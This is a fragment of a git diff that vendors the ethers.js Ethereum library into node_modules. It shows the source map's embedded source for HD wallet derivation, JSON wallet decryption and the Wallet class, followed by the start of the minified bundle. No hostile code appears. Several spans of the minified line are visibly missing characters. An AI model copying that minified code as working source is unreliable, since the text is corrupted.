path;\n /**\n * The child index of this wallet. Values over ``2 *\\* 31`` indicate\n * the node is hardened.\n */\n index;\n /**\n * The depth of this wallet, which is the number of components\n * in its path.\n */\n depth;\n /**\n * @private\n */\n constructor(guard, signingKey, parentFingerprint, chainCode, path, index, depth, mnemonic, provider) {\n super(signingKey, provider);\n assertPrivate(guard, _guard, \"HDNodeWallet\");\n defineProperties(this, { publicKey: signingKey.compressedPublicKey });\n const fingerprint = dataSlice(ripemd160(sha256(this.publicKey)), 0, 4);\n defineProperties(this, {\n parentFingerprint, fingerprint,\n chainCode, path, index, depth\n });\n defineProperties(this, { mnemonic });\n }\n connect(provider) {\n return new HDNodeWallet(_guard, this.signingKey, this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, this.mnemonic, provider);\n }\n #account() {\n const account = { address: this.address, privateKey: this.privateKey };\n const m = this.mnemonic;\n if (this.path && m && m.wordlist.locale === \"en\" && m.password === \"\") {\n account.mnemonic = {\n path: this.path,\n locale: \"en\",\n entropy: m.entropy\n };\n }\n return account;\n }\n /**\n * Resolves to a [JSON Keystore Wallet](json-wallets) encrypted with\n * %%password%%.\n *\n * If %%progressCallback%% is specified, it will receive periodic\n * updates as the encryption process progreses.\n */\n async encrypt(password, progressCallback) {\n return await encryptKeystoreJson(this.#account(), password, { progressCallback });\n }\n /**\n * Returns a [JSON Keystore Wallet](json-wallets) encryped with\n * %%password%%.\n *\n * It is preferred to use the [async version](encrypt) instead,\n * which allows a [[ProgressCallback]] to keep the user informed.\n *\n * This method will block the event loop (freezing all UI) until\n * it is complete, which may be a non-trivial duration.\n */\n encryptSync(password) {\n return encryptKeystoreJsonSync(this.#account(), password);\n }\n /**\n * The extended key.\n *\n * This key will begin with the prefix ``xpriv`` and can be used to\n * reconstruct this HD Node to derive its children.\n */\n get extendedKey() {\n // We only support the mainnet values for now, but if anyone needs\n // testnet values, let me know. I believe current sentiment is that\n // we should always use mainnet, and use BIP-44 to derive the network\n // - Mainnet: public=0x0488B21E, private=0x0488ADE4\n // - Testnet: public=0x043587CF, private=0x04358394\n assert(this.depth < 256, \"Depth too deep\", \"UNSUPPORTED_OPERATION\", { operation: \"extendedKey\" });\n return encodeBase58Check(concat([\n \"0x0488ADE4\", zpad(this.depth, 1), this.parentFingerprint,\n zpad(this.index, 4), this.chainCode,\n concat([\"0x00\", this.privateKey])\n ]));\n }\n /**\n * Returns true if this wallet has a path, providing a Type Guard\n * that the path is non-null.\n */\n hasPath() { return (this.path != null); }\n /**\n * Returns a neutered HD Node, which removes the private details\n * of an HD Node.\n *\n * A neutered node has no private key, but can be used to derive\n * child addresses and other public data about the HD Node.\n */\n neuter() {\n return new HDNodeVoidWallet(_guard, this.address, this.publicKey, this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, this.provider);\n }\n /**\n * Return the child for %%index%%.\n */\n deriveChild(_index) {\n const index = getNumber(_index, \"index\");\n assertArgument(index <= 0xffffffff, \"invalid index\", \"index\", index);\n // Base path\n let path = this.path;\n if (path) {\n path += \"/\" + (index & ~HardenedBit);\n if (index & HardenedBit) {\n path += \"'\";\n }\n }\n const { IR, IL } = ser_I(index, this.chainCode, this.publicKey, this.privateKey);\n const ki = new SigningKey(toBeHex((toBigInt(IL) + BigInt(this.privateKey)) % N, 32));\n return new HDNodeWallet(_guard, ki, this.fingerprint, hexlify(IR), path, index, this.depth + 1, this.mnemonic, this.provider);\n }\n /**\n * Return the HDNode for %%path%% from this node.\n */\n derivePath(path) {\n return derivePath(this, path);\n }\n static #fromSeed(_seed, mnemonic) {\n assertArgument(isBytesLike(_seed), \"invalid seed\", \"seed\", \"[REDACTED]\");\n const seed = getBytes(_seed, \"seed\");\n assertArgument(seed.length >= 16 && seed.length <= 64, \"invalid seed\", \"seed\", \"[REDACTED]\");\n const I = getBytes(computeHmac(\"sha512\", MasterSecret, seed));\n const signingKey = new SigningKey(hexlify(I.slice(0, 32)));\n return new HDNodeWallet(_guard, signingKey, \"0x00000000\", hexlify(I.slice(32)), \"m\", 0, 0, mnemonic, null);\n }\n /**\n * Creates a new HD Node from %%extendedKey%%.\n *\n * If the %%extendedKey%% will either have a prefix or ``xpub`` or\n * ``xpriv``, returning a neutered HD Node ([[HDNodeVoidWallet]])\n * or full HD Node ([[HDNodeWallet) respectively.\n */\n static fromExtendedKey(extendedKey) {\n const bytes = toBeArray(decodeBase58(extendedKey)); // @TODO: redact\n assertArgument(bytes.length === 82 || encodeBase58Check(bytes.slice(0, 78)) === extendedKey, \"invalid extended key\", \"extendedKey\", \"[ REDACTED ]\");\n const depth = bytes[4];\n const parentFingerprint = hexlify(bytes.slice(5, 9));\n const index = parseInt(hexlify(bytes.slice(9, 13)).substring(2), 16);\n const chainCode = hexlify(bytes.slice(13, 45));\n const key = bytes.slice(45, 78);\n switch (hexlify(bytes.slice(0, 4))) {\n // Public Key\n case \"0x0488b21e\":\n case \"0x043587cf\": {\n const publicKey = hexlify(key);\n return new HDNodeVoidWallet(_guard, computeAddress(publicKey), publicKey, parentFingerprint, chainCode, null, index, depth, null);\n }\n // Private Key\n case \"0x0488ade4\":\n case \"0x04358394 \":\n if (key[0] !== 0) {\n break;\n }\n return new HDNodeWallet(_guard, new SigningKey(key.slice(1)), parentFingerprint, chainCode, null, index, depth, null, null);\n }\n assertArgument(false, \"invalid extended key prefix\", \"extendedKey\", \"[ REDACTED ]\");\n }\n /**\n * Creates a new random HDNode.\n */\n static createRandom(password, path, wordlist) {\n if (password == null) {\n password = \"\";\n }\n if (path == null) {\n path = defaultPath;\n }\n if (wordlist == null) {\n wordlist = LangEn.wordlist();\n }\n const mnemonic = Mnemonic.fromEntropy(randomBytes(16), password, wordlist);\n return HDNodeWallet.#fromSeed(mnemonic.computeSeed(), mnemonic).derivePath(path);\n }\n /**\n * Create an HD Node from %%mnemonic%%.\n */\n static fromMnemonic(mnemonic, path) {\n if (!path) {\n path = defaultPath;\n }\n return HDNodeWallet.#fromSeed(mnemonic.computeSeed(), mnemonic).derivePath(path);\n }\n /**\n * Creates an HD Node from a mnemonic %%phrase%%.\n */\n static fromPhrase(phrase, password, path, wordlist) {\n if (password == null) {\n password = \"\";\n }\n if (path == null) {\n path = defaultPath;\n }\n if (wordlist == null) {\n wordlist = LangEn.wordlist();\n }\n const mnemonic = Mnemonic.fromPhrase(phrase, password, wordlist);\n return HDNodeWallet.#fromSeed(mnemonic.computeSeed(), mnemonic).derivePath(path);\n }\n /**\n * Creates an HD Node from a %%seed%%.\n */\n static fromSeed(seed) {\n return HDNodeWallet.#fromSeed(seed, null);\n }\n}\n/**\n * A **HDNodeVoidWallet** cannot sign, but provides access to\n * the children nodes of a [[link-bip-32]] HD wallet addresses.\n *\n * The can be created by using an extended ``xpub`` key to\n * [[HDNodeWallet_fromExtendedKey]] or by\n * [nuetering](HDNodeWallet-neuter) a [[HDNodeWallet]].\n */\nexport class HDNodeVoidWallet extends VoidSigner {\n /**\n * The compressed public key.\n */\n publicKey;\n /**\n * The fingerprint.\n *\n * A fingerprint allows quick qay to detect parent and child nodes,\n * but developers should be prepared to deal with collisions as it\n * is only 4 bytes.\n */\n fingerprint;\n /**\n * The parent node fingerprint.\n */\n parentFingerprint;\n /**\n * The chaincode, which is effectively a public key used\n * to derive children.\n */\n chainCode;\n /**\n * The derivation path of this wallet.\n *\n * Since extended keys do not provider full path details, this\n * may be ``null``, if instantiated from a source that does not\n * enocde it.\n */\n path;\n /**\n * The child index of this wallet. Values over ``2 *\\* 31`` indicate\n * the node is hardened.\n */\n index;\n /**\n * The depth of this wallet, which is the number of components\n * in its path.\n */\n depth;\n /**\n * @private\n */\n constructor(guard, address, publicKey, parentFingerprint, chainCode, path, index, depth, provider) {\n super(address, provider);\n assertPrivate(guard, _guard, \"HDNodeVoidWallet\");\n defineProperties(this, { publicKey });\n const fingerprint = dataSlice(ripemd160(sha256(publicKey)), 0, 4);\n defineProperties(this, {\n publicKey, fingerprint, parentFingerprint, chainCode, path, index, depth\n });\n }\n connect(provider) {\n return new HDNodeVoidWallet(_guard, this.address, this.publicKey, this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, provider);\n }\n /**\n * The extended key.\n *\n * This key will begin with the prefix ``xpub`` and can be used to\n * reconstruct this neutered key to derive its children addresses.\n */\n get extendedKey() {\n // We only support the mainnet values for now, but if anyone needs\n // testnet values, let me know. I believe current sentiment is that\n // we should always use mainnet, and use BIP-44 to derive the network\n // - Mainnet: public=0x0488B21E, private=0x0488ADE4\n // - Testnet: public=0x043587CF, private=0x04358394\n assert(this.depth < 256, \"Depth too deep\", \"UNSUPPORTED_OPERATION\", { operation: \"extendedKey\" });\n return encodeBase58Check(concat([\n \"0x0488B21E\",\n zpad(this.depth, 1),\n this.parentFingerprint,\n zpad(this.index, 4),\n this.chainCode,\n this.publicKey,\n ]));\n }\n /**\n * Returns true if this wallet has a path, providing a Type Guard\n * that the path is non-null.\n */\n hasPath() { return (this.path != null); }\n /**\n * Return the child for %%index%%.\n */\n deriveChild(_index) {\n const index = getNumber(_index, \"index\");\n assertArgument(index <= 0xffffffff, \"invalid index\", \"index\", index);\n // Base path\n let path = this.path;\n if (path) {\n path += \"/\" + (index & ~HardenedBit);\n if (index & HardenedBit) {\n path += \"'\";\n }\n }\n const { IR, IL } = ser_I(index, this.chainCode, this.publicKey, null);\n const Ki = SigningKey.addPoints(IL, this.publicKey, true);\n const address = computeAddress(Ki);\n return new HDNodeVoidWallet(_guard, address, Ki, this.fingerprint, hexlify(IR), path, index, this.depth + 1, this.provider);\n }\n /**\n * Return the signer for %%path%% from this node.\n */\n derivePath(path) {\n return derivePath(this, path);\n }\n}\n/*\nexport class HDNodeWalletManager {\n #root: HDNodeWallet;\n\n constructor(phrase: string, password?: null | string, path?: null | string, locale?: null | Wordlist) {\n if (password == null) { password = \"\"; }\n if (path == null) { path = \"m/44'/60'/0'/0\"; }\n if (locale == null) { locale = LangEn.wordlist(); }\n this.#root = HDNodeWallet.fromPhrase(phrase, password, path, locale);\n }\n\n getSigner(index?: number): HDNodeWallet {\n return this.#root.deriveChild((index == null) ? 0: index);\n }\n}\n*/\n/**\n * Returns the [[link-bip-32]] path for the account at %%index%%.\n *\n * This is the pattern used by wallets like Ledger.\n *\n * There is also an [alternate pattern](getIndexedAccountPath) used by\n * some software.\n */\nexport function getAccountPath(_index) {\n const index = getNumber(_index, \"index\");\n assertArgument(index >= 0 && index < HardenedBit, \"invalid account index\", \"index\", index);\n return `m/44'/60'/${index}'/0/0`;\n}\n/**\n * Returns the path using an alternative pattern for deriving accounts,\n * at %%index%%.\n *\n * This derivation path uses the //index// component rather than the\n * //account// component to derive sequential accounts.\n *\n * This is the pattern used by wallets like MetaMask.\n */\nexport function getIndexedAccountPath(_index) {\n const index = getNumber(_index, \"index\");\n assertArgument(index >= 0 && index < HardenedBit, \"invalid account index\", \"index\", index);\n return `m/44'/60'/0'/0/${index}`;\n}\n//# sourceMappingURL=hdwallet.js.map","/**\n * @_subsection: api/wallet:JSON Wallets [json-wallets]\n */\nimport { CBC, pkcs7Strip } from \"aes-js\";\nimport { getAddress } from \"../address/index.js\";\nimport { pbkdf2 } from \"../crypto/index.js\";\nimport { id } from \"../hash/index.js\";\nimport { getBytes, assertArgument } from \"../utils/index.js\";\nimport { getPassword, looseArrayify, spelunk } from \"./utils.js\";\n/**\n * Returns true if %%json%% is a valid JSON Crowdsale wallet.\n */\nexport function isCrowdsaleJson(json) {\n try {\n const data = JSON.parse(json);\n if (data.encseed) {\n return true;\n }\n }\n catch (error) { }\n return false;\n}\n// See: https://github.com/ethereum/pyethsaletool\n/**\n * Before Ethereum launched, it was necessary to create a wallet\n * format for backers to use, which would be used to receive ether\n * as a reward for contributing to the project.\n *\n * The [[link-crowdsale]] format is now obsolete, but it is still\n * useful to support and the additional code is fairly trivial as\n * all the primitives required are used through core portions of\n * the library.\n */\nexport function decryptCrowdsaleJson(json, _password) {\n const data = JSON.parse(json);\n const password = getPassword(_password);\n // Ethereum Address\n const address = getAddress(spelunk(data, \"ethaddr:string!\"));\n // Encrypted Seed\n const encseed = looseArrayify(spelunk(data, \"encseed:string!\"));\n assertArgument(encseed && (encseed.length % 16) === 0, \"invalid encseed\", \"json\", json);\n const key = getBytes(pbkdf2(password, password, 2000, 32, \"sha256\")).slice(0, 16);\n const iv = encseed.slice(0, 16);\n const encryptedSeed = encseed.slice(16);\n // Decrypt the seed\n const aesCbc = new CBC(key, iv);\n const seed = pkcs7Strip(getBytes(aesCbc.decrypt(encryptedSeed)));\n // This wallet format is weird... Convert the binary encoded hex to a string.\n let seedHex = \"\";\n for (let i = 0; i < seed.length; i++) {\n seedHex += String.fromCharCode(seed[i]);\n }\n return { address, privateKey: id(seedHex) };\n}\n//# sourceMappingURL=json-crowdsale.js.map","import { SigningKey } from \"../crypto/index.js\";\nimport { assertArgument } from \"../utils/index.js\";\nimport { BaseWallet } from \"./base-wallet.js\";\nimport { HDNodeWallet } from \"./hdwallet.js\";\nimport { decryptCrowdsaleJson, isCrowdsaleJson } from \"./json-crowdsale.js\";\nimport { decryptKeystoreJson, decryptKeystoreJsonSync, encryptKeystoreJson, encryptKeystoreJsonSync, isKeystoreJson } from \"./json-keystore.js\";\nimport { Mnemonic } from \"./mnemonic.js\";\nfunction stall(duration) {\n return new Promise((resolve) => { setTimeout(() => { resolve(); }, duration); });\n}\n/**\n * A **Wallet** manages a single private key which is used to sign\n * transactions, messages and other common payloads.\n *\n * This class is generally the main entry point for developers\n * that wish to use a private key directly, as it can create\n * instances from a large variety of common sources, including\n * raw private key, [[link-bip-39]] mnemonics and encrypte JSON\n * wallets.\n */\nexport class Wallet extends BaseWallet {\n /**\n * Create a new wallet for the private %%key%%, optionally connected\n * to %%provider%%.\n */\n constructor(key, provider) {\n if (typeof (key) === \"string\" && !key.startsWith(\"0x\")) {\n key = \"0x\" + key;\n }\n let signingKey = (typeof (key) === \"string\") ? new SigningKey(key) : key;\n super(signingKey, provider);\n }\n connect(provider) {\n return new Wallet(this.signingKey, provider);\n }\n /**\n * Resolves to a [JSON Keystore Wallet](json-wallets) encrypted with\n * %%password%%.\n *\n * If %%progressCallback%% is specified, it will receive periodic\n * updates as the encryption process progreses.\n */\n async encrypt(password, progressCallback) {\n const account = { address: this.address, privateKey: this.privateKey };\n return await encryptKeystoreJson(account, password, { progressCallback });\n }\n /**\n * Returns a [JSON Keystore Wallet](json-wallets) encryped with\n * %%password%%.\n *\n * It is preferred to use the [async version](encrypt) instead,\n * which allows a [[ProgressCallback]] to keep the user informed.\n *\n * This method will block the event loop (freezing all UI) until\n * it is complete, which may be a non-trivial duration.\n */\n encryptSync(password) {\n const account = { address: this.address, privateKey: this.privateKey };\n return encryptKeystoreJsonSync(account, password);\n }\n static #fromAccount(account) {\n assertArgument(account, \"invalid JSON wallet\", \"json\", \"[ REDACTED ]\");\n if (\"mnemonic\" in account && account.mnemonic && account.mnemonic.locale === \"en\") {\n const mnemonic = Mnemonic.fromEntropy(account.mnemonic.entropy);\n const wallet = HDNodeWallet.fromMnemonic(mnemonic, account.mnemonic.path);\n if (wallet.address === account.address && wallet.privateKey === account.privateKey) {\n return wallet;\n }\n console.log(\"WARNING: JSON mismatch address/privateKey != mnemonic; fallback onto private key\");\n }\n const wallet = new Wallet(account.privateKey);\n assertArgument(wallet.address === account.address, \"address/privateKey mismatch\", \"json\", \"[ REDACTED ]\");\n return wallet;\n }\n /**\n * Creates (asynchronously) a **Wallet** by decrypting the %%json%%\n * with %%password%%.\n *\n * If %%progress%% is provided, it is called periodically during\n * decryption so that any UI can be updated.\n */\n static async fromEncryptedJson(json, password, progress) {\n let account = null;\n if (isKeystoreJson(json)) {\n account = await decryptKeystoreJson(json, password, progress);\n }\n else if (isCrowdsaleJson(json)) {\n if (progress) {\n progress(0);\n await stall(0);\n }\n account = decryptCrowdsaleJson(json, password);\n if (progress) {\n progress(1);\n await stall(0);\n }\n }\n return Wallet.#fromAccount(account);\n }\n /**\n * Creates a **Wallet** by decrypting the %%json%% with %%password%%.\n *\n * The [[fromEncryptedJson]] method is preferred, as this method\n * will lock up and freeze the UI during decryption, which may take\n * some time.\n */\n static fromEncryptedJsonSync(json, password) {\n let account = null;\n if (isKeystoreJson(json)) {\n account = decryptKeystoreJsonSync(json, password);\n }\n else if (isCrowdsaleJson(json)) {\n account = decryptCrowdsaleJson(json, password);\n }\n else {\n assertArgument(false, \"invalid JSON wallet\", \"json\", \"[ REDACTED ]\");\n }\n return Wallet.#fromAccount(account);\n }\n /**\n * Creates a new random [[HDNodeWallet]] using the available\n * [cryptographic random source](randomBytes).\n *\n * If there is no crytographic random source, this will throw.\n */\n static createRandom(provider) {\n const wallet = HDNodeWallet.createRandom();\n if (provider) {\n return wallet.connect(provider);\n }\n return wallet;\n }\n /**\n * Creates a [[HDNodeWallet]] for %%phrase%%.\n */\n static fromPhrase(phrase, provider) {\n const wallet = HDNodeWallet.fromPhrase(phrase);\n if (provider) {\n return wallet.connect(provider);\n }\n return wallet;\n }\n}\n//# sourceMappingURL=wallet.js.map","const Base64 = \")!@#$%^&*(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_\";\n/**\n * @_ignore\n */\nexport function decodeBits(width, data) {\n const maxValue = (1 << width) - 1;\n const result = [];\n let accum = 0, bits = 0, flood = 0;\n for (let i = 0; i < data.length; i++) {\n // Accumulate 6 bits of data\n accum = ((accum << 6) | Base64.indexOf(data[i]));\n bits += 6;\n // While we have enough for a word...\n while (bits >= width) {\n // ...read the word\n const value = (accum >> (bits - width));\n accum &= (1 << (bits - width)) - 1;\n bits -= width;\n // A value of 0 indicates we exceeded maxValue, it\n // floods over into the next value\n if (value === 0) {\n flood += maxValue;\n }\n else {\n result.push(value + flood);\n flood = 0;\n }\n }\n }\n return result;\n}\n//# sourceMappingURL=bit-reader.js.map","import { assertArgument } from \"../utils/index.js\";\nimport { decodeBits } from \"./bit-reader.js\";\nimport { decodeOwl } from \"./decode-owl.js\";\n/**\n * @_ignore\n */\nexport function decodeOwlA(data, accents) {\n let words = decodeOwl(data).join(\",\");\n // Inject the accents\n accents.split(/,/g).forEach((accent) => {\n const match = accent.match(/^([a-z]*)([0-9]+)([0-9])(.*)$/);\n assertArgument(match !== null, \"internal error parsing accents\", \"accents\", accents);\n let posOffset = 0;\n const positions = decodeBits(parseInt(match[3]), match[4]);\n const charCode = parseInt(match[2]);\n const regex = new RegExp(`([${match[1]}])`, \"g\");\n words = words.replace(regex, (all, letter) => {\n const rem = --positions[posOffset];\n if (rem === 0) {\n letter = String.fromCharCode(letter.charCodeAt(0), charCode);\n posOffset++;\n }\n return letter;\n });\n });\n return words.split(\",\");\n}\n//# sourceMappingURL=decode-owla.js.map","import { WordlistOwl } from \"./wordlist-owl.js\";\nimport { decodeOwlA } from \"./decode-owla.js\";\n/**\n * An OWL-A format Wordlist extends the OWL format to add an\n * overlay onto an OWL format Wordlist to support diacritic\n * marks.\n *\n * This class is generally not useful to most developers as\n * it is used mainly internally to keep Wordlists for languages\n * based on latin-1 small.\n *\n * If necessary, there are tools within the ``generation/`` folder\n * to create the necessary data.\n */\nexport class WordlistOwlA extends WordlistOwl {\n #accent;\n /**\n * Creates a new Wordlist for %%locale%% using the OWLA %%data%%\n * and %%accent%% data and validated against the %%checksum%%.\n */\n constructor(locale, data, accent, checksum) {\n super(locale, data, checksum);\n this.#accent = accent;\n }\n /**\n * The OWLA-encoded accent data.\n */\n get _accent() { return this.#accent; }\n /**\n * Decode all the words for the wordlist.\n */\n _decodeWords() {\n return decodeOwlA(this._data, this._accent);\n }\n}\n//# sourceMappingURL=wordlist-owla.js.map","import { LangEn } from \"./lang-en.js\";\nexport const wordlists = {\n en: LangEn.wordlist(),\n};\n//# sourceMappingURL=wordlists-browser.js.map","/////////////////////////////\n//\nexport { version } from \"./_version.js\";\nexport { decodeBytes32String, encodeBytes32String, AbiCoder, ConstructorFragment, ErrorFragment, EventFragment, Fragment, FallbackFragment, FunctionFragment, NamedFragment, ParamType, StructFragment, checkResultErrors, ErrorDescription, Indexed, Interface, LogDescription, Result, TransactionDescription, Typed, } from \"./abi/index.js\";\nexport { getAddress, getIcapAddress, getCreateAddress, getCreate2Address, isAddressable, isAddress, resolveAddress } from \"./address/index.js\";\nexport { ZeroAddress, WeiPerEther, MaxUint256, MinInt256, MaxInt256, N, ZeroHash, EtherSymbol, MessagePrefix } from \"./constants/index.js\";\nexport { BaseContract, Contract, ContractFactory, ContractEventPayload, ContractTransactionReceipt, ContractTransactionResponse, ContractUnknownEventPayload, EventLog, UndecodedEventLog } from \"./contract/index.js\";\nexport { computeHmac, randomBytes, keccak256, ripemd160, sha256, sha512, pbkdf2, scrypt, scryptSync, lock, Signature, SigningKey } from \"./crypto/index.js\";\nexport { id, ensNormalize, isValidName, namehash, dnsEncode, hashAuthorization, verifyAuthorization, hashMessage, verifyMessage, solidityPacked, solidityPackedKeccak256, solidityPackedSha256, TypedDataEncoder, verifyTypedData } from \"./hash/index.js\";\nexport { getDefaultProvider, Block, FeeData, Log, TransactionReceipt, TransactionResponse, AbstractSigner, NonceManager, VoidSigner, AbstractProvider, FallbackProvider, JsonRpcApiProvider, JsonRpcProvider, JsonRpcSigner, BrowserProvider, AlchemyProvider, AnkrProvider, BlockscoutProvider, ChainstackProvider, CloudflareProvider, EtherscanProvider, InfuraProvider, InfuraWebSocketProvider, PocketProvider, QuickNodeProvider, IpcSocketProvider, SocketProvider, WebSocketProvider, EnsResolver, Network, EnsPlugin, EtherscanPlugin, FeeDataNetworkPlugin, FetchUrlFeeDataNetworkPlugin, GasCostPlugin, NetworkPlugin, MulticoinProviderPlugin, SocketBlockSubscriber, SocketEventSubscriber, SocketPendingSubscriber, SocketSubscriber, UnmanagedSubscriber, copyRequest, showThrottleMessage } from \"./providers/index.js\";\nexport { accessListify, authorizationify, computeAddress, recoverAddress, Transaction } from \"./transaction/index.js\";\nexport { decodeBase58, encodeBase58, decodeBase64, encodeBase64, concat, dataLength, dataSlice, getBytes, getBytesCopy, hexlify, isHexString, isBytesLike, stripZerosLeft, zeroPadBytes, zeroPadValue, defineProperties, resolveProperties, assert, assertArgument, assertArgumentCount, assertNormalize, assertPrivate, makeError, isCallException, isError, EventPayload, FetchRequest, FetchResponse, FetchCancelSignal, FixedNumber, getBigInt, getNumber, getUint, toBeArray, toBigInt, toBeHex, toNumber, toQuantity, fromTwos, toTwos, mask, formatEther, parseEther, formatUnits, parseUnits, toUtf8Bytes, toUtf8CodePoints, toUtf8String, Utf8ErrorFuncs, decodeRlp, encodeRlp, uuidV4, } from \"./utils/index.js\";\nexport { Mnemonic, BaseWallet, HDNodeWallet, HDNodeVoidWallet, Wallet, defaultPath, getAccountPath, getIndexedAccountPath, isCrowdsaleJson, isKeystoreJson, decryptCrowdsaleJson, decryptKeystoreJsonSync, decryptKeystoreJson, encryptKeystoreJson, encryptKeystoreJsonSync, } from \"./wallet/index.js\";\nexport { Wordlist, LangEn, WordlistOwl, WordlistOwlA, wordlists } from \"./wordlists/index.js\";\n// dummy change; to pick-up ws security issue changes\n//# sourceMappingURL=ethers.js.map"],"names":["stringify","BN_0","BN_1","Nibbles","locked","getTime","_guard","Zeros","parseUnits","passProperties","getValue","crypto","u8a","utf8ToBytes","concatBytes","randomBytes","hash","assertHash","assertExists","assertBytes","assertNumber","pbkdf2","sha256","split","sha512","getGlobal","_0n","_1n","_2n","rotl","ripemd160","noble_ripemd160","crypto_random","scrypt","_nobleAsync","_nobleSync","H","_3n","ut.validateObject","ut.concatBytes","ut.bytesToHex","ut.bytesToNumberBE","mod.mod","mod.invert","ut.numberToBytesBE","ut.hexToBytes","mod.getMinHashLength","mod.mapHashToField","ut.bitMask","ut.createHmacDrbg","N","BN_2","BN_27","BN_28","BN_35","BN_MAX_UINT256","T1","_keccak256","_sha256","internal","PanicReasons","copy","isPromise","defaultOptions","stall","defaultApiKey","getHost","__classPrivateFieldGet","this","__classPrivateFieldSet","zpad","defaultPath"],"mappings":";AAAA;AACA;AACA;AACA;AACY,MAAC,OAAO,GAAG;;ACJvB;AACA;AACA;AACA;AACA;AACA,SAAS,SAAS,CAAC,KAAK,EAAE,IAAI,EAAE,IAAI,EAAE;AACtC,IAAI,MAAM,KAAK,GAAG,IAAI,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC,IAAI,CAAC,CAAC,IAAI,EAAE,CAAC,CAAC;AACrD,IAAI,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,KAAK,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE;AAC3C,QAAQ,QAAQ,IAAI;AACpB,YAAY,KAAK,KAAK;AACtB,gBAAgB,OAAO;AACvB,YAAY,KAAK,QAAQ,CAAC;AAC1B,YAAY,KAAK,SAAS,CAAC;AAC3B,YAAY,KAAK,QAAQ,CAAC;AAC1B,YAAY,KAAK,QAAQ;AACzB,gBAAgB,IAAI,QAAQ,KAAK,CAAC,KAAK,IAAI,EAAE;AAC7C,oBAAoB,OAAO;AAC3B,iBAAiB;AACjB,SAAS;AACT,KAAK;AACL,IAAI,MAAM,KAAK,GAAG,IAAI,KAAK,CAAC,CAAC,uBAAuB,EAAE,IAAI,CAAC,CAAC,CAAC,CAAC;AAC9D,IAAI,KAAK,CAAC,IAAI,GAAG,kBAAkB,CAAC;AACpC,IAAI,KAAK,CAAC,QAAQ,GAAG,CAAC,MAAM,EAAE,IAAI,CAAC,CAAC,CAAC;AACrC,IAAI,KAAK,CAAC,KAAK,GAAG,KAAK,CAAC;AACxB,IAAI,MAAM,KAAK,CAAC;AAChB,CAAC;AACD;AACA;AACA;AACA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AC,CAAC;AACxE,QAAQ,OAAO,EAAE,CAAC;AAClB,KAAK;AACL;AACA;AACA;AACA;AACA,IAAI,MAAM,qBAAqB,GAAG;AAClC,QAAQ,MAAM,OAAO,GAAG,MAAM,IAAI,CAAC,QAAQ,CAAC,qBAAqB,CAAC,IAAI,CAAC,eAAe,CAAC,CAAC;AACxF,QAAQ,MAAM,CAAC,CAAC,CAAC,OAAO,EAAE,oCAAoC,EAAE,eAAe,EAAE,EAAE,CAAC,CAAC;AACrF,QAAQ,OAAO,OAAO,CAAC;AACvB,KAAK;AACL;AACA;AACA;AACA,IAAI,YAAY,GAAG;AACnB,QAAQ,OAAO,sBAAsB,CAAC,IAAI,CAAC,CAAC;AAC5C,KAAK;AACL,CAAC;AACD;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACO,MAAM,kBAAkB,CAAC;AAChC;AACA;AACA;AACA;AACA,IAAI,QAAQ,CAAC;AACb;AACA;AACA;AACA,IAAI,EAAE,CAAC;AACP;AACA;AACA;AACA,IAAI,IAAI,CAAC;AACT;AACA;AACA;AACA;AACA;AACA;AACA;AACA,IAAI,eAAe,CAAC;AACpB;AACA;AACA;AACA,IAAI,IAAI,CAAC;AACT;AACA;AACA;AACA,IAAI,KAAK,CAAC;AACV;AACA;AACA;AACA,IAAI,SAAS,CAAC;AACd;AACA;AACA;AACA,IAAI,WAAW,CAAC;AAChB;AACA;AACA;AACA;AACA;AACA,IAAI,SAAS,CAAC;AACd;AACA;AACA;AACA;AACA;AACA;AACA;AACA,IAAI,OAAO,CAAC;AACZ;AACA;AACA;AACA,IAAI,WAAW,CAAC;AAChB;AACA;AACA;AACA;AACA;AACA;AACA;AACA,IAAI,iBAAiB,CAAC;AACtB;AACA;AACA;AACA;AACA;AACA;AACA;AACA,IAAI,QAAQ,CAAC;AACb;AACA;AACA;AACA,IAAI,YAAY,CAAC;AACjB;AACA;AACA;AACA,IAAI,IA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;;","x_google_ignoreList":[17,18,19,20,21,22,23,24,25,28,30,34,37,38,39,40,41,42,70,116,117,118,119,120]} \ No newline at end of file diff --git a/node_modules/ethers/dist/ethers.min.js b/node_modules/ethers/dist/ethers.min.js new file mode 100644 index 000000000000..82a6c4ff1fa1 --- /dev/null +++ b/node_modules/ethers/dist/ethers.min.js @@ -0,0 +1 @@ +const __$G=typeof globalThis!=="undefined"?globalThis:typeof window!=="undefined"?window:typeof global!=="undefined"?global:typeof self!=="undefined"?self:{};const version="6.15.0";function checkType(value,type,name){const types=type.split("|").map(t=>t.trim());for(let i=0;iPromise.resolve(value[k])));return results.reduce((accum,v,index)=>{accum[keys[index]]=v;return accum},{})}function defineProperties(target,values,types){for(let key in values){let value=values[key];const type=types?types[key]:null;if(type){checkType(value,type,key)}Object.defineProperty(target,key,{enumerable:true,value:value,writable:false})}}function stringify$1(value,seen){if(value==null){return"null"}if(seen==null){seen=new Set}if(typeof value==="object"){if(seen.has(value)){return"[Circular]"}seen.add(value)}if(Array.isArray(value)){return"[ "+value.map(v=>stringify$1(v,seen)).join(", ")+" ]"}if(value instanceof Uint8Array){const HEX="0123456789abcdef";let result="0x";for(let i=0;i>4];result+=HEX[value[i]&15]}return result}if(typeof value==="object"&&typeof value.toJSON==="function"){return stringify$1(value.toJSON(),seen)}switch(typeof value){case"boolean":case"number":case"symbol":return value.toString();case"bigint":return BigInt(value).toString();case"string":return JSON.stringify(value);case"object":{const keys=Object.keys(value);keys.sort();return"{ "+keys.map(k=>`${stringify$1(k,seen)}: ${stringify$1(value[k],seen)}`).join(", ")+" }"}}return`[ COULD NOT SERIALIZE ]`}function isError(error,code){return error&&error.code===code}function isCallException(error){return isError(error,"CALL_EXCEPTION")}function makeError(message,code,info){let shortMessage=message;{const details=[];if(info){if("message"in info||"code"in info||"name"in info){throw new Error(`value will overwrite populated values: ${stringify$1(info)}`)}for(const key in info){if(key==="shortMessage"){continue}const 